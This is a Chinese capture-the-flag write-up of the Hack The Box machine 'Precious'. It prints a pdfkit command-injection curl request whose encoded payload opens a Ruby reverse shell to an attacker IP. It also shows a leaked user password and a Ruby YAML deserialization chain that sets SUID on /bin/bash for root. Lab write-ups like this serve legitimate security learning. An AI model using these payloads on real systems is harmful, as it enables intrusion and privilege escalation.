htb_Precious (exiftool, YAML文件)

htb_Precious:10.10.11.189

非常简单~
在这里插入图片描述

kali攻击机网络配置

在这里插入图片描述

能ping通靶机,可以开始啦

在这里插入图片描述

端口扫描

nmap -A 10.10.11.189

开放了80,22端口

在这里插入图片描述

访问80端口,浏览器显示域名解析错误

解决方法:

kali攻击机设置本地域名解析

vim /etc/hosts

在这里插入图片描述

这个网站可以将我们传上去的web目录转为pdf

在这里插入图片描述

先看看源码,没发现

在这里插入图片描述

目录扫描,一无所获

在这里插入图片描述

子域名爆破,依旧一无所获

在这里插入图片描述

那就只能从这个网站的功能入手了,尝试将本地web目录转为pdf查看

kali开启http服务

 python3 -m http.server 80

在这里插入图片描述

写入本地url

在这里插入图片描述

转换成功后会直接跳转到pdf,但是不知道为啥是空白一片的

右键保存pdf到本地

在这里插入图片描述

exiftool可以用于读取各种文件的元数据

这里我们使用exiftool来解析pdf

发现pdfkit v0.8.6

在这里插入图片描述

查找cve

在这里插入图片描述

漏洞利用脚本

CyberArchitect1/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell: pdfkit <0.8.6 command injection shell. The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. (Tested on ver 0.8.6) - CVE-2022-25765 (github.com)

在这里插入图片描述

修改脚本中加粗的部分

curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.16.62%3A80%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.62%22%2C6666%29%29%27%60'

kali开启监听

在这里插入图片描述

执行脚本

在这里插入图片描述

连上了!

在这里插入图片描述

目录探测

在根目录下发现.bundle目录

在这里插入图片描述

发现config配置文件,是henry的账号密码

在这里插入图片描述

henry Q3c1AqGHtoI0aXAYFH

切换用户

在这里插入图片描述

henry的用户目录下发现flag

在这里插入图片描述

查看root命令

sudo -l

在这里插入图片描述

cat update_dependencies.rb
  • 这段代码的作用是比较已安装的依赖库和一个名为 “dependencies.yml” 的文件中指定的依赖库。
    “dependencies.yml” 文件是一个 YAML格式的文件,其中包含依赖库的名称和版本号,用于确保开发环境中安装的依赖库版本与项目的依赖库版本相匹配。

  • 代码中,首先使用 Ruby 的 YAML 库读取 “dependencies.yml” 文件,并使用 RubyGems
    库获取本地已安装的所有依赖库及其版本信息。然后,代码使用嵌套循环来比较本地已安装的每个依赖库的名称和版本号,与 “dependencies.yml” 文件中指定的每个依赖库的名称和版本号进行匹配。如果本地已安装的依赖库版本与指定的版本不匹配,则输出警告消息,指出已安装的依赖库版本与 “dependencies.yml” 文件中指定的版本不同。如果版本匹配,则输出信息,指出已安装的依赖库版本与
    “dependencies.yml” 文件中指定的版本相同。

在这里插入图片描述

找到一个漏洞利用脚本

Ruby Privilege Escalation | Exploit Notes (hdks.org)

在这里插入图片描述

给/bin/bash添加suid权限

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve


cd /home/henry
ls

在这里插入图片描述

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

bash -p

提权成功

在这里插入图片描述

o了 😃

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值